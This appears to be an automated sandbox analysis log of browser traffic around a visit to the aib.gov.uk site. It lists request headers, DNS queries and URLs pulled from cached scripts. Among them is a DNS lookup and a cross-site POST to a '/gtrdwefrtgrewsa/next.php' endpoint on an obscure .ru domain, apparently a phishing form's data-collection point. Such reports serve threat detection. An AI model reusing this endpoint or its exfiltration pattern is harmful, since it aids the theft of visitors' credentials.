Source: global traffic	HTTP traffic detected: GET /images/stock/gov.scot-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102; cookiePermissions=eyJuZWNlc3NhcnkiOnRydWUsInByZWZlcmVuY2VzIjp0cnVlLCJzdGF0aXN0aWNzIjp0cnVlLCJjYW1wYWlnbnMiOnRydWUsIm1hcmtldGluZyI6dHJ1ZX0=; cookie-notification-acknowledged=eWVz
Source: global traffic	HTTP traffic detected: GET /images/stock/mygov.scot-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aib.gov.uk/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102; cookiePermissions=eyJuZWNlc3NhcnkiOnRydWUsInByZWZlcmVuY2VzIjp0cnVlLCJzdGF0aXN0aWNzIjp0cnVlLCJjYW1wYWlnbnMiOnRydWUsIm1hcmtldGluZyI6dHJ1ZX0=; cookie-notification-acknowledged=eWVz
Source: global traffic	HTTP traffic detected: GET /images/stock/gov.scot-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102; cookiePermissions=eyJuZWNlc3NhcnkiOnRydWUsInByZWZlcmVuY2VzIjp0cnVlLCJzdGF0aXN0aWNzIjp0cnVlLCJjYW1wYWlnbnMiOnRydWUsIm1hcmtldGluZyI6dHJ1ZX0=; cookie-notification-acknowledged=eWVz
Source: global traffic	HTTP traffic detected: GET /images/stock/mygov.scot-logo.svg HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_LFLDF92T3M=GS1.1.1714583102.1.0.1714583102.0.0.0; _ga=GA1.1.50708905.1714583102; cookiePermissions=eyJuZWNlc3NhcnkiOnRydWUsInByZWZlcmVuY2VzIjp0cnVlLCJzdGF0aXN0aWNzIjp0cnVlLCJjYW1wYWlnbnMiOnRydWUsIm1hcmtldGluZyI6dHJ1ZX0=; cookie-notification-acknowledged=eWVz
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4tEgXLkgw4BB69L&MD=HkLELfoC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.aib.gov.ukConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_117.2.dr	String found in binary or memory: Math.round(p);v["gtm.videoCurrentTime"]=Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Rj:function(){e=zb()},sd:function(){d()}}};var dc=ka(["data-gtm-yt-inspected-"]),wC=["www.youtube.com","www.youtube-nocookie.com"],xC,yC=!1; equals www.youtube.com (Youtube)
Source: chromecache_117.2.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var h=eA(a,c,e);P(121);if("https://www.facebook.com/tr/"===h["gtm.elementUrl"])return P(122),!0;if(d&&f){for(var m=Jb(b,g.length),n=0;n<g.length;++n)g[n](h,m);return m.done}for(var p=0;p<g.length;++p)g[p](h,function(){});return!0},hA=function(){var a=[],b=function(c){return pb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_117.2.dr	String found in binary or memory: e\|\|f\|\|g.length\|\|h.length))return;var n={Wg:d,Ug:e,Vg:f,Hh:g,Ih:h,ye:m,zb:b},p=G.YT,q=function(){EC(n)};if(p)return p.ready&&p.ready(q),b;var r=G.onYouTubeIframeAPIReady;G.onYouTubeIframeAPIReady=function(){r&&r();q()};I(function(){for(var t=H.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(HC(w,"iframe_api")\|\|HC(w,"player_api"))return b}for(var x=H.getElementsByTagName("iframe"),y=x.length,B=0;B<y;B++)if(!yC&&FC(x[B],n.ye))return tc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_122.2.dr	String found in binary or memory: return b}uC.K="internal.enableAutoEventOnTimer";var dc=ka(["data-gtm-yt-inspected-"]),wC=["www.youtube.com","www.youtube-nocookie.com"],xC,yC=!1; equals www.youtube.com (Youtube)
Source: chromecache_117.2.dr	String found in binary or memory: var JB=function(a,b,c,d,e){var f=Fz("fsl",c?"nv.mwt":"mwt",0),g;g=c?Fz("fsl","nv.ids",[]):Fz("fsl","ids",[]);if(!g.length)return!0;var h=Bz(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);P(121);if("https://www.facebook.com/tr/"===m)return P(122),!0;h["gtm.elementUrl"]=m;h["gtm.formCanceled"]=c;null!=a.getAttribute("name")&&(h["gtm.interactedFormName"]=a.getAttribute("name"));e&&(h["gtm.formSubmitElement"]=e,h["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!qy(h,ry(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ty2rtvvkw343me.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: ka-f.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.aib.gov.uk

Source: unknown

HTTP traffic detected: POST /gtrdwefrtgrewsa/next.php HTTP/1.1Host: ty2rtvvkw343me.ruConnection: keep-aliveContent-Length: 44sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_80.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_111.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_117.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_117.2.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_91.2.dr	String found in binary or memory: https://aib.gov.uk/
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_80.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_80.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_80.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_80.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_80.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_90.2.dr, chromecache_98.2.dr, chromecache_99.2.dr, chromecache_110.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_90.2.dr, chromecache_98.2.dr, chromecache_99.2.dr, chromecache_110.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_91.2.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_91.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Roboto:ital
Source: chromecache_91.2.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_100.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_100.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_100.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEz0dL_nz.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEz4dL_nz.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEz8dL_nz.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzAdLw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzMdL_nz.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzQdL_nz.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzwdL_nz.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc-CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc0CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc1CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc2CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc3CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc5CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51S7ACc6CsQ.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc-CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc0CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc1CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc2CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc3CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc5CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TLBCc6CsQ.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc-CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc0CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc1CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc2CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc3CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc5CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TjASc6CsQ.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic-CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic0CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic1CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic2CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic3CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic5CsTKlA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOjCnqEu92Fr1Mu51TzBic6CsQ.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxEIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxFIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxGIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxHIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxIIzI.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxLIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1MmgVxMIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xIIzI.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)
Source: chromecache_84.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)
Source: chromecache_105.2.dr, chromecache_85.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_109.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_80.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_80.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_80.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_80.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_80.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_109.2.dr, chromecache_105.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_109.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_80.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_80.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_80.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_80.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_80.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_80.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_119.2.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: chromecache_119.2.dr	String found in binary or memory: https://kit.fontawesome.com
Source: chromecache_117.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_80.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_80.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_117.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_117.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect?v=2&
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_80.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_80.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
Source: chromecache_117.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_91.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: chromecache_91.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-MB9KVCFS
Source: chromecache_91.2.dr	String found in binary or memory: https://www.gov.scot/
Source: chromecache_117.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_91.2.dr	String found in binary or memory: https://www.mygov.scot/
Source: chromecache_91.2.dr	String found in binary or memory: https://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/
Source: chromecache_117.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
